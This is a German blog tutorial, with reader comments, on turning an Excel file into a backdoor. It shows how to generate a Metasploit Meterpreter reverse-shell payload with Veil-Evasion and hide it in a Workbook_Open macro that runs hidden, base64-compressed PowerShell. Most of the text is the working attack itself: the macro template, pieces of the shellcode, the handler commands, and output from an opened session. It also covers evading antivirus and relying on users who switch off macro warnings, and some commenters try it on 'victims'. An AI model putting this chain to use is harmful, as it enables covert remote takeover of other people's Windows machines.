Windows Powershell ist, nicht erst seit kurzem, ein interessantes Betätigungsfeld für Penetrationstester. Es ist also nicht verwunderlich, dass sich mehr und mehr Nutzer mit dem leistungsfähigen Tool befassen, um ihre Arbeit zu erleichtern und Abläufe zu automatisieren.
Mit der auf dem .NET-Framework basierenden Umgebung ist man in der Lage, Behle auf der Kommandozeile ausführen. Darüber hinaus lassen sich die Kommandos, wie aus Unix/Linux bereits bekannt, mit Pipes verknüpfen bzw. zu kurzen Skripten zusammenfassen.
Schon für die Betriebssysteme Windows XP, Windows Server 2003 und Windows Vista bestand die Möglichkeit, diese Anwendung herunterzuladen und zu nutzen. Seit Windows 7 ist die Version 2.0 vorinstalliert.
Diese standardmäßige Verfügbarkeit macht Windows Powershell auch für Angreifer interessant. Für sie bestehen auf den “Opfer-PC” komplette Umgebungen, auf denen nur noch die eigenen Skripte gestartet werden müssen. Virenschutzprogramme sind oftmals nicht in der Lage, diesen Programmcode als Schadsoftware zu entlarven.
Vielen Administratoren ist nicht bewusst, welches Potenzial die Client-PC mit installiertem Windows Powershell besitzen und welche versteckten Gefahren in dieser Anwendung lauern.
Das bereits hier vorgestellte Veil-Framework nutzt Powershell-Skripte um, in Zusammenarbeit mit dem Metasploit-Framework, Angriffe zu verschleiern bzw. Virenschutzprogramme zu umgehen.
In diesem Blog wird gezeigt, wie man Metasploit-Payload in Office Dokumente einbettet und so eine Backdoor zu einem Windows-System schaffen kann. Wir werden zunächst Payload mit Hilfe des Veil-Frameworks erstellen und diesen dann in einem Excel-Dokument einbetten. Hierzu machen wir uns die Makro-Funktionalität von Excel und Windows Powershell zu nutze.
Schritt 1: Veil-Evasion in Kali Linux 2.0 installieren und Payload erzeugen
Unter Kali Linux 2.0 lässt sich Veil-Evasion als Bestandteil des Veil-Frameworks mit folgendem Befehl installieren:
sudo apt-get install veil-evasion
Nun wird zunächst eine hohe Anzahl von zusätzlichen Paketen heruntergeladen und installiert. Dies kann je nach Qualität der Internetverbindung etwas Zeit in Anspruch nehmen. Ist dies geschehen, so erfolgt nach Eingabe des Befehls veil-evasion die Einrichtung des Programms und der Abhängigkeiten. Auch hier lädt das Installationsskript weitere Software nach und richtet u.a. Wine, Python und Ruby unter Kali Linux ein. Ist alles durchgelaufen, so meldet sich Veil-Evasion mit folgender Oberfläche:
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Main Menu
46 payloads loaded
Available Commands:
use Use a specific payload
info Information on a specific payload
list List available payloads
update Update Veil-Evasion to the latest version
clean Clean out payload folders
checkvt Check payload hashes vs. VirusTotal
exit Exit Veil-Evasion
[menu>>]:
Wir benötigen für unser Vorhaben den Payload powershell/shellcode_inject/virtual. Er ist in der aktuellen Version über die Auswahlliste unter Nr. 25 zu finden. Eine Übersicht aller verfügbaren Module erhält man über den Befehl list. Mittels use und Eingabe der entsprechenden Ziffer, kann der Payload für die Nutzung ausgewählt werden.
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload: powershell/shellcode_inject/virtual loaded
Required Options:
Name Current Value Description
---- ------------- -----------
Available Commands:
set Set a specific option value
info Show information about the payload
options Show payload's options
generate Generate payload
back Go to the main menu
exit exit Veil-Evasion
[powershell/shellcode_inject/virtual>>]:
Für dieses Modul sind keine weiteren Parameter notwendig. Der Befehl generate erzeugt die notwendigen Skripte. Für den Anfang reicht es aus, die Standardwerte zu übernehmen. In unserem beispiel also 1, Enter (für windows/meterpreter/reverse_tcp, tab (die IP-Adresse des lokalen Systems), 80 (für der PORT), Enter (keine weiteren Optionen)
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[?] Use msfvenom or supply custom shellcode?
1 - msfvenom (default)
2 - custom shellcode string
3 - file with shellcode (raw)
[>] Please enter the number of your choice: 1
[*] Press [enter] for windows/meterpreter/reverse_tcp
[*] Press [tab] to list available payloads
[>] Please enter metasploit payload:
[>] Enter value for 'LHOST', [tab] for local IP: 192.168.1.55
[>] Enter value for 'LPORT': 80
[>] Enter any extra msfvenom options (syntax: OPTION1=value1 OPTION2=value2):
[*] Generating shellcode...
Der Shellcode wird nun erzeugt. Zum Abschluss legen wir noch einen Dateinamen fest. (hier: test). Die erzeugten Skripte befinden sich dann im Verzeichnis /var/lib/veil-evasion/output/source
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[>] Please enter the base name for output files (default is 'payload'): test
Language: powershell
Payload: powershell/shellcode_inject/virtual
Shellcode: windows/meterpreter/reverse_tcp
Options: LHOST=192.168.1.55 LPORT=80
Payload File: /var/lib/veil-evasion/output/source/test.bat
Handler File: /var/lib/veil-evasion/output/handlers/test_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
[>] Press any key to return to the main menu.
Schritt 2: Makro für Excel erzeugen
Die Datei test.bat enthält nun einen wichtigen Anteil unseres zukünftigen Makros. Wir müssen die einzelnen Komponenten nun nur noch zusammenbauen. Der im folgenden Bild markierte Bereich zeigt das auszuführende Powershell-Skript und den Base64 kodierten Shellcode.

Da der String zu lang ist, um ihn in eine Variable zu übernehmen, müssen wir ihn in mehrerer Teilsegmente aufteilen. Er wird dann während der Laufzeit wieder zusammengesetzt. Hier ist also genaues Arbeiten gefragt. Später werde ich ein Python-Skript vorstellen, dass diese Arbeit übernimmt. Nun wird aber erst mal das Makro “per Hand” erstellt.
Ich verwende Microsoft Excel 2007. Ein Template für das zu erstellende Makro könnte wie folgt aussehen:
Sub Workbook_Open()
Dim Command As String
Dim str As String
Dim exec As String
Arch = Environ("PROCESSOR_ARCHITECTURE")
windir = Environ("windir")
If Arch = "AMD64" Then
Command = windir + "syswow64windowspowershellv1.0powershell.exe"
Else
Command = "powershell.exe"
End If
str = "[Teilstring]"
str = str + "[Teilstring]"
str = str + "[Teilstring]"
str = str + "[Teilstring]"
.
.
.
exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm"
exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea"
exec = exec + "der ($(New-Object IO.Compression.DeflateStream ("
exec = exec + "$(New-Object IO.MemoryStream (,$([Convert]::From"
exec = exec + "Base64String("" " & str & " "" )))), [IO.Compr"
exec = exec + "ession.CompressionMode]::Decompress)), [Text.Enc"
exec = exec + "oding]::ASCII)).ReadToEnd();"""
Shell exec,vbHide
End Sub
Wichtig ist nun, die Teilstrings entsprechend des oben erstellen Payloads zu erstellen. Dies sieht auszugsweise für unser Beispiel folgendermaßen aus. Man startet also mit der Zeichenfolge “nVVNb+M2EL3….” und endet mit der Zeichenfolge “….XvoncLnqPVf”
str = "nVVNb+M2EL3nVxCGDjZiBdS3tEaA3XZRYIGiKJCgPRg+UCTVCJVlQ5"
str = str + "a3zrb979V79qib9lL0MiRnOF9vZsjAqkf1fnG3/dh1n/bHwz"
str = str + "AuF7/6ofddEj+4rlusdup4rrvWqtNoxmnxl3GSq0/9+OM4qJ"
str = str + "/aYTyb7kPXHezyxvttrc5tP6rLbX29rV9Wm//t59vBm9E/v0"
str = str + "yLEz/nm93Pa/W359vuK983zj+970+f7TD+F997vz/5cflvy3"
.
.
.
str = str + "MhiZer+6BdrdWkug3a3VpFK/WHOpzHsD933ebPu+ALf783X/"
str = str + "8U1Tq4rLHg13sazTCGT533RxU+eXvoncLnqPVf"
Um die Arbeit ein wenig zu erleichtern hat khr0x40sh das Python-Skript macro_safe.py geschrieben. Damit wird aus der von Veil-Evasion erstellten Batch-Datei eine Vorlage für das Makro erzeugt und in einer Textdatei abgelegt. Es ist wie folgt anwendbar:
----------------------
Macro Safe
----------------------
Takes Veil batch output and turns into macro safe text
USAGE: ./macro_safe.py <input batch> <output text>
Um den Payload in das Office Dokument zu integrieren geht man wie folgt vor:
Unter Excel-Optionen “Entwicklerregisterkarte in der Multifunktionsleiste anzeigen” aktivieren.

Im Aktenreiter “Entwicklertools” Visual Basic aufrufen.

Links unter VBAPoject “Diese Arbeitsmappe” anklicken und rechts “Workbook” auswählen.

Das Makro hier einfügen.

Als Excel-Arbeitsmappe mit Makros abspeichern und Dokument schließen.

Greifen die Standardeinstellungen von Excel, so wird nach erneutem Aufrufen des Dokuments eine Warnung angezeigt, die auf Makros hinweist. Nutzer müssen sie als vertrauenswürdig einstufen.
Diese Einstellungen lassen sich aber in Microsoft Excel (im Vertrauensstellungscenter unter “Einstellungen für Makros”) ändern. Bei regelmäßiger Anwendung von Makros wird diese Option erfahrungsgemäß vom Nutzer gern abgeschaltet.
Schritt 3: Makro in Excel ausführen und Reverse-Verbindung zum Angreifer herstellen
Im ersten Schritt hatten wir die Batch-Datei mittels Veil-Evasion erzeugt. In diesem Zusammenhang wurde im Hintergrund auch ein Metasploit-Skript erzeugt und als sogenannte Resource-Datei mit Endung *.rc im Verzeichnis /var/lib/veil-evasion/output/handlers abgespeichert. Hier sind Anweisungen enthalten, die den Angreifer-PC für den Empfang der Daten des Opfers vorbereiten. In unserem Beispiel ist man nun in der Lage, über den Befehl msfconsole -r /var/lib/veil-evasion/output/handlers/test_handler.rc einen Muli-Handler zu starten, um die eingehende Daten über die Metasploit-Konsole “in Empfang zu nehmen”.
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.55
set LPORT 80
set ExitOnSession false
exploit -j
Ist das Makro auf dem PC des Opfers ordnungsgemäß ausgeführt worden, so öffnet sich eine Meterpreter-Session, die nun eine kontinuierliche Kommunikation mit dem Client gewährleistet.
[*] Processing test.rc for ERB directives.
resource (test.rc)> use exploit/multi/handler
resource (test.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (test.rc)> set LHOST 192.168.155
LHOST => 192.168.1.55
resource (test.rc)> set LPORT 80
LPORT => 80
resource (test.rc)> set ExitOnSession false
ExitOnSession => false
resource (test.rc)> exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.55:80
[*] Starting the payload handler...
msf exploit(handler) > msf exploit(handler) > [*] Sending stage (885806 bytes) to 173.73.xxx.xxx
[*] Meterpreter session 1 opened (95.xxx.xx.xx:80 -> 173.73.xx.xx:49361) at 2015-09-01 19:09:44 -0400
msf exploit(handler) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 Windows7-PCfrank @ WINDOWS7-PC 95.xxx.xx.49:80 -> 173.xx.xxx.xx:49361 (192.168.1.x)
[youtube ZwVKmC1Kl48 546 365]
how to get macro_save can i have the commands please i cannot find them here ..
You kan find the Python script here: https://github.com/khr0x40sh/MacroShop/blob/master/macro_safe.py
This thing works perfectly if the victim is on same network but doesnot work if victim is on other network
Hallo,
echt tolle Seite.
Ich bin gerade dabei es mal zu versuchen. Er zeigt mir einen fehler an wenn ich “generate” ausführen.
“WARNING: not all required options filled”
Was kann ich machen?
Schöne Grüße
Denny
Das kann ich aus der Ferne schlecht sagen. Auf jeden Fall, wie die Fehlermeldung schon sagt, fehlt ein Parameter, der nicht mit angegeben wurde. Bist Du genau wie im Video gezeigt, vorgegangen?